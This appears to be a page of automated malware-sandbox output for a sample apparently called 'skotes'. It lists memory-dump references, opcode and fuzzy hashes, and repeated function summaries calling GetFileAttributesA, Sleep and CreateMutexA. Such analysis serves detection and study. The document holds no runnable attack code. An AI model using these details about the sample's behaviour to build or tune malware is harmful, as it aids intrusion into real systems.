Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 2c96c2d5e190108b1ed5957c824999f255ef613357e5945e47c1328b349c8898
Instruction ID: 9fd119e31d1debd9cc3f348374a46837f87507e194b82e01dc6bf169a61ffda7
Opcode Fuzzy Hash: 2c96c2d5e190108b1ed5957c824999f255ef613357e5945e47c1328b349c8898
Instruction Fuzzy Hash: E03122327142008BEB18ABB8D9887AEB7A6EF86314F244618E014AB3D5D73999C0C751

Function 00AA9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AA9F47
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 17fcf797a30a195c69705edc22fbe573990f99ad25f6e3bdc786c67defc4bcea
Instruction ID: ec0475e3862f8acf17a74620b0ffb3fb724e82be1a4ebc583c7dccd2cc6cf4c7
Opcode Fuzzy Hash: 17fcf797a30a195c69705edc22fbe573990f99ad25f6e3bdc786c67defc4bcea
Instruction Fuzzy Hash: B23175317042008BEB18AB78DD887AEB7A6EF96314F208219F018EB2D5D7369980C752

Function 00AAA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA07C
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a6a4e7908cff3d0413de81dc806cca542e628b16fe97730ad58e8cc25021dd28
Instruction ID: 73465aa67ff6836ebf57fd9e72bde687523259206ca6bbaf1e273f110154c2aa
Opcode Fuzzy Hash: a6a4e7908cff3d0413de81dc806cca542e628b16fe97730ad58e8cc25021dd28
Instruction Fuzzy Hash: 173157317142009BEB18DB78CD89BAEB7F6EFA6314F24821DE014973D5D7369980C762

Function 00AAA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA1B1
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 214a5e4ba1271d2be58780279a539fc0cabb558e42d387af74130b69b8306596
Instruction ID: 01ab9cb37863e2d6ec66088f20245d6129bd18a6cf15ec86ca8e51324bba1f93
Opcode Fuzzy Hash: 214a5e4ba1271d2be58780279a539fc0cabb558e42d387af74130b69b8306596
Instruction Fuzzy Hash: 873157317042009BFB18DBB8DD89BAEB7B6EFA7310F244219E014973D5D73A9980C762

Function 00AAA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA2E6
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 6cae3a0c922e21111c2ebe984fb64e2262483ac96612ee0538018ee0bfbefb58
Instruction ID: 5fe118ca32eb2b95896b26898e0d27c9ea9735bec9cda9fe532bbb98847f0122
Opcode Fuzzy Hash: 6cae3a0c922e21111c2ebe984fb64e2262483ac96612ee0538018ee0bfbefb58
Instruction Fuzzy Hash: 713177317042009BEF18DB78DD887AEB7B6EFA3314F208218E0159B3D5D7769980C762

Function 00AAA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA41B
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: fac0b21fbe7e605cda7b633c3f2c7b4bf0825e4c2e6815153a25b795bc1a7e09
Instruction ID: 71564d7b198db7794cd761d3c5787be2f0d47c28f28dccbab03ca3058ece9b33
Opcode Fuzzy Hash: fac0b21fbe7e605cda7b633c3f2c7b4bf0825e4c2e6815153a25b795bc1a7e09
Instruction Fuzzy Hash: 1E317B317142009BEB0CABB8DDC9BAEB7B6EFA6314F204219F024973D5D7759980C762

